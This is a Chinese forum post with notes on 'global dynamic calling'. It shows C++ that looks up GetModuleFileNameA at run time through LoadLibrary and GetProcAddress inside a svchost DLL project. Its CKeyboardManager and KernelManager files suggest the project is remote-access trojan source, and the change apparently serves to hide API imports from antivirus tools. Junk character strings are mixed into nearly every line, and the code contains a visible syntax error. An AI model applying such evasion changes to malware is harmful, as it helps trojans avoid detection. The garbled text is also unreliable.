[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
/ r2 c% T7 T2 x; K/ A  k# g' N8 ?svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h+ @2 |+ @- i% r+ M& R3 _8 d
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DTDY.h：8 n# R6 T2 X' s( f0 ]

1 _6 j( R3 i' V+ o; `' G( G#if _MSC_VER>1000
- D0 L( j4 n' x) k#pragma once; ?; _: e: N, ]6 k9 k2 N  Z
#endif //_MSC_VER>1000
8 d8 X0 J4 _# x, G#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# X3 q& e$ g  Z) S+ ^7 W) J) f
class DTDY
8 {0 J" q9 i; ]; i{
2 y+ c0 k- q+ }. K  tpublic:
- m* m0 y  W2 GDTDY();: X, s' Z! }5 Z& A% k
virtual ~DTDY();& K6 }& j) R1 ?" b5 a  N
public:; e! ~- E+ B3 N
static pGetModuleFileNameA MyGetModuleFileName;! a! s& Y# h7 J: [; A  n4 F- \' b
static BOOL FunInitiallization();
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#endif
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DTDY.cpp:
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#include "DTDY.h"
2 v0 t9 ?2 L5 {3 L9 Q" z0 f' fpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;$ u) p# b# K4 x
DTDY:TDY()1 q) O1 {: F3 e  e+ t
{
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DTDY::~DTDY()
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BOOL DTDY::FunInitiallization()$ V' u2 \2 M5 L. F+ @/ `( F
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HMODULE hModule=LoadLibrary("kernel32.dll");
9 x. }2 w8 x% [! z" DMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
2 {1 q9 o2 T  @* jif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
& {! n1 i5 X' y0 O}
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svchost.cpp:
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#include "DTDY.h"- ]  V! t8 e" }& o) u

4 X" \) Q) ?. DBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)& t7 S  F, D+ u
{
4 a& ]6 H( H* Q& o9 D- I# [: Rswitch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
2 G( K- }8 q; {if(!DTDY::FunInitiallization()) return FALSE;4 K+ e# L6 G' ~5 e, h" r+ R
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break;
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. w' z. b5 B. r! w+ |GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));* H& ~. @0 }) W! k, J; }3 t* B' n
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KernelManager.cpp:0 @( H1 M# K" |7 O/ Z7 D& M

& Z% L/ F' z, g( d* @#include "../DTDY.h"
2 h- T, q2 c$ b' Z  z+ S+ [$ RGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 [4 M/ d* c  Q$ C
改写为% o" X7 Z% c3 t9 v" n: j
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% N; S. A% H& q+ L; ~
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